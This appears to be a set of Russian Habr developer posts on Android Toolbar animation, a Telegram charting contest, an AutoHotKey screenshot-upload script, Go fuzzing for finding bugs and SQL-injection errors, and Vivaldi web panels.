* Метод **onMenuItemActionExpand(MenuItem item)** — вызывается, когда виджет поиска переходит в активное состояние. Для того, чтобы этот метод вызвался необходимо реализовать интерфейс MenuItemCompat.OnActionExpandListener, и затем задать его для MenuItem поиска:
```
MenuItemCompat.setOnActionExpandListener(searchMenuItem, this);
//this - интерфейс MenuItemCompat.OnActionExpandListener
```
* Метод **onMenuItemActionCollapse** — вызывается при закрытии виджета поиска, для него также необходимо реализовать интерфейс OnActionExpandListener. Вы также можете вызвать его искусственно, например когда пользователь нажимает кнопку «назад». Пример:
```
@Override
public void onBackPressed() {
if (mode == Mode.SEARCH)
searchMenuItem.collapseActionView();
}
```
Анимирование элементов Toolbar
------------------------------
Для создания анимации я использовал библиотеку [AndroidViewAnimations](https://github.com/daimajia/AndroidViewAnimations). Эта библиотека умеет анимировать любые объекты класса View или объекты классов, которые наследуются от View. Основная проблема с которой мы сталкиваемся когда хотим создать анимацию для элементов Toolbar это отсутствие объекта класса View. У нас есть только MenuItem элемента, который мы хотим анимировать.
Если мы будем работать с MenuItem, который мы создали сами, к примеру иконкой поиска, то получить его View довольно легко:
```
MenuItem searchMenuItem = menu.findItem(R.id.action_search);
View searchItemView = findViewById(searchMenuItem.getItemId());
```
Всё усложняется, когда мы хотим получить View системного элемента Toolbar, к примеру стрелки «назад», которая становиться видна в режиме поиска (см. скриншот режима поиск). Поскольку мы не знаем id этой стрелки, нам придётся использовать **Field**, который позволяет нам получать динамический доступ к любому члену класса. В нашем случаи стрелка «назад» является членом класса Toolbar, но перед тем как мы начнём нам понадобиться узнать имя стрелки внутри класса. Идём в исходный код Android, [открываем класс Toolbar](https://android.googlesource.com/platform/frameworks/base.git/+/lollipop-release/core/java/android/widget/Toolbar.java) и находим нашу стрелку на 100-й строчке под именем «mNavButtonView». Пример кода, в котором мы получаем View стрелки и анимируем его:
```
// Получение View
ImageButton btnToolbarButton = null;
try {
Toolbar mActionBarToolbar = (Toolbar) findViewById(R.id.toolbar_actionbar);
Field fNavBtn = mActionBarToolbar.getClass().getDeclaredField("mNavButtonView");
fNavBtn.setAccessible(true);
btnToolbarButton = (ImageButton) fNavBtn .get(mActionBarToolbar);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
//Анимация
if(btnToolbarButton!=null)
YoYo.with(Techniques.FlipInX).duration(850).playOn(btnToolbarButton);
```
Заключение
----------
В данной статье мы рассмотрели процесс создания динамического Toolbar и методы работы с его элементами. К сожалению в рамках одной статьи нельзя рассмотреть абсолютно все нюансы и разобрать весь код, поэтому если вам интересно узнать больше вы можете взглянуть на код приложения, которое мы использовали в качестве живого примера на [GitHub](https://github.com/KKorvin/TinyStockQuotes). | https://habr.com/ru/post/256643/ | null | ru | null |
# Как я не занял первое место в конкурсе для JavaScript-разработчиков от Telegram
Активные пользователи Телеграма, особенно те, кто подписан на Павла Дурова, наверняка что-то слышали о том, что Телеграм проводил в этих ваших интернетах конкурс для iOS, Android и JavaScript разработчиков, а также для дизайнеров. Несмотря на то, что это было довольно эпичное событие с раздачей солидных призов (один из участников получил 50к долларов за первое место, написав самое быстрое и лёгкое приложение для Android), о нём как-то слабо писали, во всяком случае в Рунете. Своим дебютным постом попробую исправить ситуацию.
Коль скоро я являюсь фуллстек JavaScript-разработчиком (если совсем точно, то TypeScript-разработчиком), я решил испытать себя. Манил не только призовой фонд, но и сам формат: это не соревнования по программированию, где важны абстрактность и скорость мышления. Здесь было важно всё в комплексе: опыт, скорость разработки в среднесрочной перспективе, вкус в вопросах UI, знание computer science в целом, самокритичность. По условиям конкурса необходимо было разработать библиотеку для отображения графиков для одной из платформ: iOS, Android или Web.
Разработчики для разных платформ не конкурировали между собой, и у каждой платформы победители были свои. Основными критериями были: скорость работы (в том числе и на старых устройствах), соответствие дизайну, плавность анимации и минимальный размер приложения. Уже существующие решения и библиотеки использовать было нельзя, всё должно было быть написано с нуля.
До этого я участвовал в конкурсах для разработчиков, где на все задачи выделялось не более 5 часов, эти часы приходилось проводить в огромном напряжении. Несмотря на то, что выполнение задачи в конкурсе от Телеграма не требовало такого напряжения, это один из самых сложных конкурсов, в которых мне приходилось участвовать. С виду несложная задача оказалась настолько ёмкой, что если бы мне за это платили, я бы мог пилить эти «графики» месяцами, пытаясь найти компромисс между производительностью кода и архитектурной его стройностью. Выручало то, что на решение выделялось три (**upd:** две, спасибо [vlad2711](https://habr.com/ru/users/vlad2711/) за поправку) недели. Некоторые из соперников специально брали отпуск, чтобы уделить конкурсу больше времени, а я решил совмещать разработку для конкурса по вечерам и выходным с работой в "[Онланте](https://www.onlanta.ru/)" в обычном режиме.
CANVAS versus SVG
=================
Самый главный архитектурный вопрос, вставший перед всеми нами, был в выборе инструмента отрисовки графики. На текущий момент веб-стандарты предлагают нам два подхода: через генерацию «на лету» svg-графики и старый добрый canvas. Вот плюсы и минусы каждого из них.
### Canvas
**+** Абсолютная универсальность — имея возможность изменить цвет любого пикселя на полотне, можно нарисовать всё, что угодно.
**+** [Потенциально] Высокая производительность — если уметь готовить canvas, он может показывать неплохую производительность. Было бы замечательно использовать webgl, но его поддержка на смартфонах оставляет желать лучшего.
**-** Все расчёты и вся отрисовка вручную — в отличие от SVG, где промежуточные точки ломаной можно задать единожды, а далее можно манипулировать viewbox-ом для перемещения «камеры» по участкам ломаной, с canvas всё сложнее: никаких «камер» тут нет, есть только координаты от левого верхнего угла; если нужно «переместить» текущую область просмотра графика, необходимо заново рассчитать все координаты всех его точек относительно новой позиции области просмотра. Другими словами viewbox, который в svg есть из коробки, в canvas нужно реализовывать вручную.
**-** Вся анимация вручную — исходя из предыдущего пункта, все возможные анимации реализуются посредством пересчёта координат, значений цвета и прозрачности и перерисовке всей сцены N-е количество раз в секунду, и чем большее количество раз удалось пересчитать и перерисовать сцену, тем плавнее анимация.
### SVG
**+** Простая отрисовка — достаточно один раз добавить в SVG необходимые линии, фигуры и далее можно, манипулируя viewport, параметрами цвета и прозрачности, обеспечить навигацию по графикам.
**+** Простая реализация анимаций — опять же, исходя из предыдущего пункта, достаточно N-e количество раз в секунду указать новые значения для viewbox, цвета и прозрачности, а изображение перерисуется само, об этом позаботится браузер. Кроме того, не стоит забывать, что фигуры и примитивы в SVG можно стилизовать в CSS, поэтому их можно анимировать с помощью CSS3-анимаций, что открывает широчайшие возможности для получения крутых анимаций с минимальными усилиями.
**+** Неплохая производительность по умолчанию — если с canvas можно легко, что называется «в лоб», накодить что-то медленное и жрущее сотни ресурсов, то результат, основанный на SVG всегда будет выглядеть вполне легковесным, приличным и плавным.
Но есть и обратная сторона медали.
**-** Скромные возможности для оптимизации — поскольку svg рисуем не мы, а браузер, то и контролировать этот процесс невозможно — если хочется увеличить производительность, например, за счёт кэширования уже отдельных отрисованных элементов, сделать это нельзя никак. Скорее всего это уже делает браузер, но мы не можем быть уверены до конца.
**-** Ограниченность инструментария — в SVG мы уже не контролируем каждый пиксель полотна, а думаем и кодим в рамках векторных примитивов. Впрочем, для этой задачи это несущественный минус, накладывающий некоторые, опять же несущественные ограничения в контексте задачи конкурса.
Выбором инструмента мучиться мне не приходилось никогда, поскольку у меня есть отвратительная черта характера — я максималист и привык использовать в работе только любимый инструмент. Так получилось, что еще со студенческих времён, когда я забавлялся с DirectDraw, любимым моим инструментом всегда было полотно, на котором «делай что хочешь». И canvas для решения конкурсной задачи действительно оказался хорош, но по-настоящему сыграл мне на руку лишь один его плюс: широчайшие возможности для оптимизаций, поскольку основным критерием была всё-таки производительность приложения.
Хороший код нехороший
=====================
Задача ясна: нужно рисовать точки на полотне в нужном месте и в нужное время. Осталось написать код. Снова нужно было выбирать, на этот раз между написанием производительного компактного кода одной «портянкой» в процедурном стиле или не очень производительного и уж тем более некомпактного в моём любимом объектно-ориентированном. Наверное, вы уже догадались, что я выбрал второй вариант, приправив его ещё одним моим любимцем — TypeScript.
И этот выбор оказался не очень правильным. Из-за использования абстракций и инкапсулирования не везде получается сохранять, передавать и повторно использовать промежуточные результаты вычислений, что плохо сказывается на производительности. А из-за повсеместного использования this, без которого ООП в JS невозможен, код плохо минифицируется, тогда как размер тоже имел значение.
Настало время дать ссылку на гитхаб: [github.com/native-elements/telechart](https://github.com/native-elements/telechart). Если интересно, рекомендую обратить внимание на историю коммитов, она хранит память об оптимизационных мытарствах и небезуспешных попытках выжать пару лишних кадров отрисовки в секунду.
Ну а в конкурсе я не занял призового места. И проблема, как это часто с нами-программистами бывает, оказалась не в недостаточном опыте, сообразительности или скорости, а в недостаточной самокритичности: сам факт того, что у меня получилось сделать, оно работает и выглядит как на картинке, меня порадовал, а по поводу тормозов отрисовки я думал, что я сделал всё, что мог, у остальных наверняка так же. Стыдно об этом говорить, но я был уверен, что займу первое-второе место. На деле же оказалось, что я написал тормозную и глючную программу, не самую плохую, но и далеко не самую хорошую. Когда я увидел работы других разработчиков, понял что у меня нет шансов и оставалось только кусать локти. Будь я беспристрастен к своему труду, я бы занялся производительностью, самой важной частью конкурсного задания.
Один из ценнейших уроков в моей профессиональной жизни, который я не устаю получать, заключается в том, что хороший инженер в отличие, например, от художника, обязан объективно оценивать качество своей работы, отбросив самоуверенность, потому что результат его труда должен не только глаз радовать, но должен правильно и хорошо работать.
Это был первый этап конкурса. Победители были щедро вознаграждены. К моей неописуемой радости на этом история не закончилась, потому что был анонсирован второй этап:
Необходимо было доработать свою поделку, всего лишь за неделю реализовав дополнительные типы графиков. Покажу сразу, что получилось, а ниже расскажу как это получилось.
В моём случае, прежде чем добавлять новую функциональность, нужно было разобраться с производительностью старой. Первая проблема, которую я решил — это
**Дёрганая анимация**
Даже если вам хватает мощностей, чтобы выдавать 60 кадров в секунду, анимация не будет плавной, если положение элемента или его прозрачность не детерминированы временем, прошедшим с начала анимации. Это обусловлено неравными промежутками времени между тиками: например, один тик сработал через 10 мс, а второй — через 40, в то время как и за первый, и за второй тики объект переместился влево на 1 пиксель — то есть скорость его перемещения постоянно плавает, визуально это выглядит как «подёргивание». Иными словами, нужно делать не так:
```
let left = 10, interval = setInterval(() => {
left += 1
if (left >= 90) {
clearInterval(interval)
}
}, 10)
```
А так:
```
let left = 10, startLeft = 10, targetLeft = 90, startTime = Date.now(), duration = 1000, interval = setInterval(() => {
left = startLeft + (targetLeft - startLeft) * (Date.now() - startTime) / duration
if (left >= targetLeft) {
left = targetLeft
clearInterval(interval)
}
})
```
Поскольку анимируемых параметров в коде много, я запилил [универсальный класс](https://github.com/native-elements/telechart/blob/master/src/Telemation.ts), который облегчает задачу, да ещё и добавляет изинг к анимации. Он достаточно прост в использовании:
```
let left = Telemation.create(10, 90, 1000)
…
drawVerticalLine(left.value) // В любое время здесь будет нужное, детерминированное значение.
```
Дальше в игру вступает правило 60 fps. ПК-геймеры меня поймут: чтобы анимация выглядела идеально, она должна отрисовываться со скоростью не менее 60 fps. Соответственно, каждая отрисовка кадра должна занимать не более 1/60 секунды. Для этого нужно мощное железо и хороший код.
Дальнейшие изыскания показали, что
**Прорисовка canvas тормозит, если над canvas есть html-элементы**.
Изначально я использовал «пустые» html-элементы для того, чтобы реализовать управление текущей областью просмотра:
Эти элементы располагались поверх canvas, и несмотря на то, что у них не было никакого контента, они использовались только для отслеживания событий мыши, в результате экспериментов выяснилось, что само их наличие снижает производительность отрисовки. Убрав их и немного усложнив логику определения событий управления областью просмотра, я увеличил скорость отрисовки кадра.
Оставалось выдернуть последний гвоздь из крышки гроба производительности: я сделал
**Кэширование миникарты**
До этого для миникарты линии отрисовывались каждый кадр заново. Это дорогая операция, потому что на ней отображался весь график за год (365 точек на каждую линию). Очевидным решением, которое я просто поленился реализовать с самого начала, было однократное отрисовывание линий графика для миникарты, сохранение результата в кэш и использование этого кэша в дальнейшем. После этой оптимизации за производительность приложения перестало быть стыдно.
Дальше что?
===========
Было ещё много успешных и не очень драк за производительность: попытки кэшировать результаты вычислений координат, эксперименты с параметрами lineJoin у CanvasRenderingContext2D (miter быстрее), но они не так интересны, так как не давали заметного выигрыша в производительности либо не давали его вообще.
Из восьми дней пять я потратил на ускорение кода и только три — на допиливание новой функциональности. Да, мне хватило всего три дня, чтобы добавить новые типы графиков, и тут весьма кстати оказался ООП, с ним кодовая база увеличилась незначительно. Мне не хватило времени, чтобы выполнить бонусное задание (ещё +5 дополнительных графиков). Полагаю, что те пять дней, которые я потратил на устранение последствий моей уверенности в себе, я мог потратить на решение бонусной задачи.
Тем не менее мои труды дали результат: 4-е место и «утешительный» приз в одну тысячу долларов:
Кстати, конкурс продолжился дальше, но уже без меня.
Я доволен участием: кроме того, что это просто интересно и является интересным приключением, я получил хороший профессиональный опыт и жизненный урок.
Кроме того, эту библиотеку я использовал в разработке нашего корпоративного таймтрекера, о котором тоже планирую рассказать на Хабре в ближайшее время.
Для обсуждения предлагаю такой вопрос: зачем Телеграму это всё нужно? Я считаю, что за адекватные деньги Телеграм получит самую лучшую в мире библиотеку для отображения графиков: лучший результат из сотен попыток сделать лучше, чем у других. Соревновательный принцип позволяет получить настолько высокий уровень качества, который на заказ не способен сделать никто и ни за какие деньги.
И немного ссылок:
* Результаты конкурса: [t.me/contest/81](https://t.me/contest/81)
* Все участники конкурса: [contest.dev/chart-js](https://contest.dev/chart-js)
* Моя страница на сайте конкурса: [contest.dev/chart-js/entry74](https://contest.dev/chart-js/entry74)
* Моё приложение: [jschart.usercontent.dev/entry74](https://jschart.usercontent.dev/entry74/)
* Если нет Телеграма, можно посмотреть тут: [asyncoders.com/telechart/index.html](http://asyncoders.com/telechart/index.html)
**И чуть-чуть вакансий*** [Разработчик JS (облачное направление)](https://job.lanit.ru/vacancy/Pages/O-89.aspx?utm_source=habr&utm_medium=post-2019-08-06&utm_campaign=onlanta)
* [Системный архитектор](https://job.lanit.ru/vacancy/Pages/O-105.aspx?utm_source=habr&utm_medium=post-2019-08-06&utm_campaign=onlanta)
* [Системный аналитик](https://job.lanit.ru/vacancy/Pages/O-106.aspx?utm_source=habr&utm_medium=post-2019-08-06&utm_campaign=onlanta)
* [Ведущий системный инженер Vmware](https://job.lanit.ru/vacancy/Pages/O-100.aspx?utm_source=habr&utm_medium=post-2019-08-06&utm_campaign=onlanta)
* [Разработчик 1С](https://job.lanit.ru/vacancy/Pages/O-108.aspx?utm_source=habr&utm_medium=post-2019-08-06&utm_campaign=onlanta) | https://habr.com/ru/post/460625/ | null | ru | null |
# buf2link — Обмен изображениями в локальной сети
Один из [постов](http://habrahabr.ru/blogs/AutoHotKey/50707/) побудил рассказать о том, как я решил одну проблему используя AutoHotKey.
В локальной сети частенько бывает необходимость в ходе общения в чате показать собеседнику то, что происходит у тебя на экране.
Самый простой выход из положения — принтскрин, mspaint, Save As, а потом ещё передача по сети одним из доступных протоколов, после чего этот файл будет скачан и открыт.
Долго и муторно.
Когда впервые познакомился с возможностями AutoHotKey, стала формироваться мысль, что задачу передачи картинки можно реализовать удобнее.
И вот как это было сделано:
На сервере локальной сети с апачем был организован аккаунт, а на AutoHotKey написан скрипт.
`;-------------------------------------------------------------------------------
; buf2link
;-------------------------------------------------------------------------------
; Настройки:
ServIP=192.168.1.1
FTPlogin=flogin
FTPpass=fpass
ftpdir=/var/www/buf/
HTTPlink=http://%ServIP%/buf/
;-------------------------------------------------------------------------------
;получим имя файла
NameFileTime = %A_Now%.jpg
;сохраним буфер обмена в файл (юзаем в текущей папке i_view32.exe)
RunWait, i_view32.exe /clippaste /convert=%NameFileTime%
;-------------------------------------------------------------------------------
;закачка файла на сервер
FTPCommandFile = %A_ScriptDir%\FTPCommands.txt
; сформируем команды для ftp
FileAppend,
(
open %ServIP%
%FTPlogin%
%FTPpass%
binary
cd %ftpdir%
put %NameFileTime%
quit
), %FTPCommandFile%
RunWait %comspec% /c ftp.exe -s:"%FTPCommandFile%"
FileDelete %FTPCommandFile%
;-------------------------------------------------------------------------------
clipboard = %HTTPlink%%NameFileTime%
;-------------------------------------------------------------------------------
FileDelete %NameFileTime%
;-------------------------------------------------------------------------------
MsgBox, 1,, Ссылка на изображение помещена в буфер обмена`n`n Просмотреть результат?
IfMsgBox Ok
Run %clipboard%
else
return`
Скрипт был скомпилирован, уложен в папку buf2link вместе с вьювером IrfanView (i\_view32.exe) и упакован в само распаковывающийся архив для распространения среди пользователей.
Как пользоваться:
1 после того, как в буфере обмена у вас появилось нужное изображение (например, после нажатия Alt+PrtScr)
2 запускаете buf2link.exe
(например, кликнув по кнопке в панели быстрого запуска)
3 buf2link сохранит ваше изображение в файл, закачает его на ftp сервер и сохранит в буфер обмена ссылку, которую уже можно сообщить собеседнику (о чем будет выдано сообщение)
Теперь для передачи изображения по сети, достаточно нажать одну кнопку и два раза сделать клик мышью! :) | https://habr.com/ru/post/51099/ | null | ru | null |
# Где искать баги фаззингом и откуда вообще появился этот метод
Подход фаззинг-тестирования родился еще в 80-х годах прошлого века. В некоторых языках он используется давно и плодотворно — соответственно, уже успел занять свою нишу. Сторонние фаззеры для Go были доступны и ранее, но в Go 1.18 появился стандартный. Мы в «Лаборатории Касперского» уже успели его пощупать и тестируем с его помощью довольно большой самостоятельный сервис.
Меня зовут Владимир Романько, я — Development Team Lead, и именно [моя команда фаззит баги на Go](https://kas.pr/romanko-fuzzng-go-habr). В этой статье я расскажу про историю фаззинга, про то, где и как искать баги, а также как помочь фаззинг-тестам эффективнее находить их в самых неожиданных местах. И покажу этот подход на примере обнаружения SQL-инъекций.
Немного истории
---------------
Когда я первый раз услышал о фаззинге, сама идея прозвучала для меня довольно странно. Казалось, это магия, с помощью которой сторонняя программа может найти баги в моем коде.
Все встало на свои места, когда я узнал, как фаззинг появился. Поэтому свой рассказ я также хочу начать с интересной истории, которая, вероятно, ждет своего Кристофера Нолана для экранизации. В ней есть все необходимые компоненты отличного голливудского блокбастера: зловещая ночь с грозой, гениальный ученый, а также древний артефакт, который принял во всем этом участие. Забегая вперед, отмечу, что роль древнего артефакта исполнил модем на 1200 бод. В итоге случайное стечение обстоятельств привело к появлению хорошего изобретения.
Так что же произошло?
Тем ученым был Бартон Миллер. В 1988 году он работал профессором в университете и решил из дома подключиться через модем к своему любимому университетскому мейнфрейму. Он пытался выполнить команду Unix… История умалчивает о том, какая именно это была команда. Предположим, это был grep.
```
grep -R "hello world"
```
В этот момент где-то недалеко ударила молния. А старый модем если и имел код коррекции ошибок, тот оказался недостаточно эффективным. Вместо «Hello world» до мейнфрейма долетел мусор:
```
grep -R "hello ~3#зеШwкACh"
```
Который внезапно вызвал segmentation fault. И grep упал.
Бартон Миллер задумался, почему это произошло. Grep к тому времени уже был старой, надежной, многократно протестированной командой, у которой явно есть какие-то проверки ввода. Но тем не менее он упал. И ученому пришла в голову идея написать программу, которая специально будет генерировать мусор и отправлять на вход в различные unix-овые утилиты. Так появился первый фаззер.
Вместе со студентами Бартон Миллер нашел очень много ошибок в командах Unix. К этому моменту все эти команды уже использовались инженерами по всему миру в течение длительного времени, но тем не менее содержали ошибки. Такова суперспособность фаззера, за которую мы его и любим, — находить баги в хорошо протестированном коде.
Как фаззер находит баги
-----------------------
Тесты можно классифицировать по-разному. Но давайте распределим их по уровню семантического знания о коде, которое использовано при написании теста.
Больше всего знаний о тестируемом коде используется при построении тестов по тест-кейсам, например в юнит-, ручных или интеграционных тестах. Они содержат некие пред- и постусловия — конкретные проверки того, что на вход программы мы передали А, а на выходе должны получить Б. Для написания таких тестов однозначно придется изучить код и требования к нему.
Левее по этой шкале находятся property based тесты. В них уже нет конкретных входов и выходов. Данные на вход генерируются случайным образом, но проверяются определенные свойства кода (поэтому тесты и называются property based). К примеру, если мы проверяем функцию сортировки, на выходе ожидаем массив, каждый последующий элемент которого больше либо равен предыдущему.
В крайней левой части шкалы находятся фаззинг-тесты, имеющие минимальные знания о продукте. Им известно только то, что код не должен падать, зависать или отъедать какое-то безумное количество памяти. С точки зрения теста сам продукт представляет собой черный ящик.
В том, что при фаззинге используются минимальные знания, есть как плюсы, так и минусы. Если тесты по тест-кейсам позволяют находить так называемые known unknowns (т. е. проверяют неизвестное поведение в известных сценариях), то фаззинг ищет unknown unknowns (проверяет неизвестное поведение в неизвестных сценариях). Именно эта особенность позволяет фаззингу находить баги в хорошо протестированном коде — он обнаруживает сценарии, про которые разработчик никогда и не подумал бы.
Для примера приведу тесты для функции сортировки, которая принимает слайс int.
Функцию можно протестировать с помощью тестов по тест-кейсам. В этом случае на вход мы передаем (2, 1, 3) и проверяем ожидание, что на выходе будет 1, 2, 3.
В property based тестах на входе случайная последовательность, а на выходе надо убедиться, что каждый последующий элемент больше или равен предыдущему (т. е. проверяется свойство).
Фаззинг также передаст случайную последовательность, но удостоверится, что функция не упала.
Фаззинг не заменяет классическое тестирование. Он нужен, когда проверяется уже оттестированный код, а фантазия тестировщиков подходит к концу. В общем случае фаззер найдет меньше ошибок, чем тесты по тест-кейсам. Но эти ошибки будут наиболее разнообразны. Это хорошо заметно в Go-шной реализации фаззера — go fuzz, которая модифицирует корпус входных тестовых данных так, чтобы отработали все ветви кода. Стандартный фаззер Go вообще одинаково хорошо подходит как для написания property based тестов, так и для классического фаззинга. Официальная документация Go по фаззингу не делает различия между этими видами тестов.
Как помочь фаззеру
------------------
Давайте рассмотрим нехитрую программу на Go.
Наш код объявляет неинициализированный нулевой указатель и что-то по нему пишет.
Если запустить этот код, он упадет с ошибкой. Проблема в пятой строке.
Чисто теоретически ее можно было бы проигнорировать и продолжить выполнение. Если кто-то помнит, в Visual Basic был такой режим: при ошибке программа не падала, а просто переходила к следующей строке кода. Получалось, что они надежны, но поведение этих программ непредсказуемо. Это никак не помогло бы фаззеру.
Вернемся к Бартону Миллеру. Что было бы, если бы grep проигнорировал обращение к невалидному указателю? Скорее всего, фаззер не нашел бы багов в команде. Команда обработала бы мусор на входе и выдала мусор на выходе. Никто не понял бы, что произошло нечто плохое. Т. е. фаззер в принципе смог найти ошибку только благодаря крэшу (программа проверила свой собственный внутренний инвариант, согласно которому нельзя обращаться к некорректному указателю, и упала, когда он оказался нарушен).
Так мы приходим к выводу: падать с ошибкой полезно.
**Чем больше код проверяет своих внутренних инвариантов, тем больше фаззер может найти багов.**
Вот несколько примеров с проверкой внутренних инвариантов:
* Инвариант может заключаться в том, что оба потомка красного узла в красно-черном дереве — черные. Если он нарушен, код может как-то сообщить об этом фаззеру.
* Можно проверять, что количество элементов в контейнере неотрицательно — в очереди не может содержаться «-1» элемент.
* Проверка может выявлять, что в стеке количество операций Pop меньше или равно количеству Push.
* Бизнес-логика может контролировать отсутствие превышения некоего программного лимита. Тот факт, что мы обнаружим нарушение этого инварианта, будет свидетельствовать об ошибке в бизнес-логике.
* Кэш должен отсекать повторные запросы. Это особенно актуально, если база вычисляет тяжелые запросы и нужно проверить бизнес-логику, которая хранит в памяти результаты нескольких последних запросов. В этом случае фаззер может найти ошибку в логике работы с кэшем.
* SQL-запрос не должен возвращать ошибку некорректного синтаксиса. Если же мы получаем такую ошибку, в нашем коде однозначно есть проблема. Скорее всего, мы неправильно формируем тело SQL-запроса или в это тело без какой-либо санитизации попадает пользовательский ввод (SQL-инъекция).
Все эти примеры объединяет тот факт, что если проверка сработает, это однозначно указывает на некорректно написанный код. Это никак не связано с окружением. По сути это ничем не отличается от обращения к невалидному указателю, упомянутому выше.
Инвариант мало проверить, нужно еще донести до фаззера информацию о том, что есть нарушение. Самый простой способ — кинуть panic. Это можно сделать с любого уровня абстракции.
Среди Go-феров есть предубеждение против panic, поэтому можно использовать более лайтовые варианты:
* Кидать panic не всегда, а только в специальном фаззинг-режиме: ввести переменную окружения, и если она задана, при нарушении инвариантов кидать panic. Фаззинг-режим, кстати, помогает решить проблему с «дорогими» проверками инвариантов, когда на них уходит много ресурсов.
* Можно использовать специальный уровень логирования, доступный фаззеру. Когда тот увидит запись с этим уровнем, он поймет, что нарушен некий внутренний инвариант (и сделает вывод, что код написан некорректно). Этот подход требует более сложной инфраструктуры. И важно не писать в лог на этом уровне, когда наблюдаются проблемы с инфраструктурой (например, если отвалилась сеть).
При проверке инвариантов у фаззинг-теста нет никакого ожидания относительно кода. За счет этого он более стабильный — его не нужно менять при малейших изменениях. С развитием продукта его также нужно поддерживать, но усилий на это будет уходить гораздо меньше, чем в случае с тестами по тест-кейсам. Возвращаясь к примеру с grep — если мы сменим движок обработки регулярных выражений, суть теста никак не изменится.
Фаззинг имеет смысл, если функции работают достаточно быстро. Если функция выдает ответ через несколько минут после передачи в нее начальных данных, за разумное время фаззер просто не успеет ничего проверить. А проверив слишком мало вариантов, он ничего не найдет. Возможно, в этой ситуации процесс ускорят моки, но работать с ними надо всегда очень осторожно. Также можно гонять тесты на маленьких частях кода.
Помогаем фаззеру искать SQL-уязвимости
--------------------------------------
Теперь применим этот подход, чтобы обрабатывать ошибки работы с базой данных на примере SQLite.
Предположим, у нас есть нативный код, в котором присутствует уязвимость SQL-инъекции. Мы формируем строку, и если получаем ошибку, смотрим, что это было. Если это ошибка SQLite, которая говорит, что синтаксис некорректный, и при этом включена переменная окружения FUZZING, мы кидаем panic. В ином случае мы обрабатываем ошибки стандартным путем.
Каждый раз писать такой код неудобно, поэтому его можно разбить на вспомогательные функции и уже их использовать по всему коду.
Я бы предложил такой вариант разбиения.
Мы выделяем функцию ProcessCriticalErr, которая на вход принимает критическую ошибку (в нашем случае — нарушение синтаксиса) и кидает panic, если выставлена переменная окружения. Когда переменная окружения не выставлена, она просто возвращает ошибку.
Дополнительно нам потребуется функция, которая определяет, является ли данная ошибка критической. У SQLite есть несколько кодов ошибок, подходящих под нашу ситуацию.
Третья функция — также вспомогательная. Она принимает на вход ошибку базы данных, проверяет ее «критичность» и при необходимости вызывает процедуру обработки таких ошибок.
В этом случае наша стандартная функция работы с базой данных упрощается до такого вида:
При обнаружении критической ошибки в фаззинг=-режиме мы сообщаем об этом фаззеру, который и запоминает, что подобрал входные данные, ломающие внутреннюю логику. В данном случае фаззер помогает найти SQL-инъекцию.
Напоследок я бы рекомендовал ознакомиться с двумя ссылками:
* <https://go.dev/doc/tutorial/fuzz> — о том, как вообще пользоваться фаззингом в Go, конкретно go fuzz. Он подходит для написания как классических фаззинг- тестов, о которых я рассказывал, так и для property based тестов.
* <https://www.fuzzingbook.org/> — очень полезный сайт, который посвящен фаззингу в целом. Это отдельный большой мир с огромным количеством способов разработки таких тестов. Рекомендую ознакомиться с информацией, которая есть на этом сайте. Если фаззинг применять «в лоб», он просто будет нагревать поверхность нашей атмосферы. Чтобы он находил баги, требуется включать голову, и этот ресурс подскажет, в каком направлении думать. Нужно просто научиться замечать в коде возможности для написания фаззинг-теста.
В нашей команде мы пока только пробуем стандартный фаззинг Go, но уже тестируем с его помощью довольно большой самостоятельный сервис конвертации данных из различных источников к стандартизированному виду. Для ускорения работы мы убрали из фаззинга работу с сетью и очередями, оставив только внутренности сервиса. Приходите к нам в [разработку на Go](https://kas.pr/romanko-fuzzng-go-vacancy-habr) — сможете пощупать все это своими руками. Тем более, у нас не надо доказывать руководству необходимость применения подобных методик. А в том, что касается фаззинга, он еще и регламентируется нормативными документами, если уж мы хотим сертифицировать свой код для каких-либо целей. | https://habr.com/ru/post/696724/ | null | ru | null |
# Matreshka, или интегрируем Vivaldi в Vivaldi
Всем привет! Для многих из нас браузер Vivaldi стал основным приложением, работающим весь день без перерыва. Это и понятно: сегодня практически вся деятельность на компьютере так или иначе привязана к интернету, а здесь браузер просто незаменим. Но в дополнение к браузеру мы ещё предлагаем вам и портал vivaldi.net, на котором все участники сообщества пользователей браузера Vivaldi могут общаться, читать новости, получать свежие тестовые сборки и выполнять множество других важных дел. Другими словами, вы заходите на портал ежедневно, поэтому возникает закономерный вопрос: а можно ли интегрировать эти возможности vivaldi.net в сам браузер Vivaldi? Если коротко, то ответ — да, конечно можно. А ниже вы узнаете чуть подробнее, как это сделать.
### Форум
Пожалуй, самый популярный раздел нашего портала, это форум. Недавно он обновился, стал удобнее и быстрее, а также обзавёлся мобильной версией, которая нам весьма кстати для нашей сегодняшней задачи. Итак, открываем в браузере Vivaldi страницу форума (вы можете выбрать другую страницу):
`<https://forum.vivaldi.net/category/20/русский>`
А затем создаём веб-панель этой страницы (воспользуйтесь кнопкой «плюс» на боковой панели). И… всё. Получаем форум в мобильном виде, который всегда под рукой:
Можно выставить удобный размер ширины панели и зафиксировать её для этой веб-панели (опция «Своя ширина» в контекстном меню веб-панели). Теперь форум всегда будет на расстоянии одного клика. Удобно.
### Официальный блог
Далее — официальный блог. На русском языке статьи выходят довольно регулярно, вы можете также поместить эту страницу в боковую панель уже известным способом. Для этого воспользуемся следующей ссылкой:
`<https://vivaldi.net/ru/userblogs/categories/vivaldi>`
Сохраняем панель, выставляем свою ширину и получаем постоянно обновляемый список официальных анонсов тестовых и стабильных сборок, а также полезных статей на русском языке на расстоянии одного клика:
Кстати, точно так же можно разместить в боковой панели и англоязычный официальный блог разработчиков — там вы сможете не только читать анонсы новых версий, но и статьи на другие темы, подготовленные сотрудниками Vivaldi Technologies:
### Почта Vivaldi Mail
Один из самых популярных запросов от пользователей — добавить в браузер Vivaldi встроенный почтовый клиент. Мы над этим работаем практически с первого дня разработки, но пока не готовы показать результаты — хотим довести новый почтовик до приличного вида, а уж затем представлять его вам. Но как временное решение можно встроить в браузер почтовый сервис Vivaldi Mail, который имеется на нашем портале и доступен бесплатно для каждого пользователя. Он простой и непритязательный, но для самых базовых почтовых потребностей вполне годен.
Итак, открываем почтовик:
`<https://webmail.vivaldi.net/>`
И добавляем его в виде веб-панели. Получаем желаемый результат:
Причём, этот почтовый сервис также обладает мобильной версией, которая автоматически выбирается для веб-панели. Как результат — с почтовиком удобно работать, принимать и отправлять письма:
Не обращая внимания на параноидальность представленных выше картинок, переходим к не менее важной теме:
### Форма отправки сообщений об ошибках
